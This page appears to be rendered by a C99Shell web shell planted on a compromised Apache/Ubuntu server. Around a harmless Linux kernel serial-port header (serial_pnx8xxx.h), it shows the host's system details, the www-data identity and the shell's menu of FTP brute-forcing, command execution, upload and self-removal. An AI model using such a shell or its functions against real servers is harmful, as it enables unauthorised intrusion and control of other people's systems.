!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-headers-5.4.0-216/include/linux/   drwxr-xr-x
Free 13.34 GB of 57.97 GB (23.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     serial_pnx8xxx.h (1.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0-or-later */
/*
 * Embedded Alley Solutions, source@embeddedalley.com.
 */

#ifndef _LINUX_SERIAL_PNX8XXX_H
#define _LINUX_SERIAL_PNX8XXX_H

#include <linux/serial_core.h>

#define PNX8XXX_NR_PORTS    2

struct pnx8xxx_port {
    struct uart_port    port;
    struct timer_list    timer;
    unsigned int        old_status;
};

/* register offsets */
#define PNX8XXX_LCR        0
#define PNX8XXX_MCR        0x004
#define PNX8XXX_BAUD        0x008
#define PNX8XXX_CFG        0x00c
#define PNX8XXX_FIFO        0x028
#define PNX8XXX_ISTAT        0xfe0
#define PNX8XXX_IEN        0xfe4
#define PNX8XXX_ICLR        0xfe8
#define PNX8XXX_ISET        0xfec
#define PNX8XXX_PD        0xff4
#define PNX8XXX_MID        0xffc

#define PNX8XXX_UART_LCR_TXBREAK    (1<<30)
#define PNX8XXX_UART_LCR_PAREVN        0x10000000
#define PNX8XXX_UART_LCR_PAREN        0x08000000
#define PNX8XXX_UART_LCR_2STOPB        0x04000000
#define PNX8XXX_UART_LCR_8BIT        0x01000000
#define PNX8XXX_UART_LCR_TX_RST        0x00040000
#define PNX8XXX_UART_LCR_RX_RST        0x00020000
#define PNX8XXX_UART_LCR_RX_NEXT    0x00010000

#define PNX8XXX_UART_MCR_SCR        0xFF000000
#define PNX8XXX_UART_MCR_DCD        0x00800000
#define PNX8XXX_UART_MCR_CTS        0x00100000
#define PNX8XXX_UART_MCR_LOOP        0x00000010
#define PNX8XXX_UART_MCR_RTS        0x00000002
#define PNX8XXX_UART_MCR_DTR        0x00000001

#define PNX8XXX_UART_INT_TX        0x00000080
#define PNX8XXX_UART_INT_EMPTY        0x00000040
#define PNX8XXX_UART_INT_RCVTO        0x00000020
#define PNX8XXX_UART_INT_RX        0x00000010
#define PNX8XXX_UART_INT_RXOVRN        0x00000008
#define PNX8XXX_UART_INT_FRERR        0x00000004
#define PNX8XXX_UART_INT_BREAK        0x00000002
#define PNX8XXX_UART_INT_PARITY        0x00000001
#define PNX8XXX_UART_INT_ALLRX        0x0000003F
#define PNX8XXX_UART_INT_ALLTX        0x000000C0

#define PNX8XXX_UART_FIFO_TXFIFO    0x001F0000
#define PNX8XXX_UART_FIFO_TXFIFO_STA    (0x1f<<16)
#define PNX8XXX_UART_FIFO_RXBRK        0x00008000
#define PNX8XXX_UART_FIFO_RXFE        0x00004000
#define PNX8XXX_UART_FIFO_RXPAR        0x00002000
#define PNX8XXX_UART_FIFO_RXFIFO    0x00001F00
#define PNX8XXX_UART_FIFO_RBRTHR    0x000000FF

#endif

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0881 ]--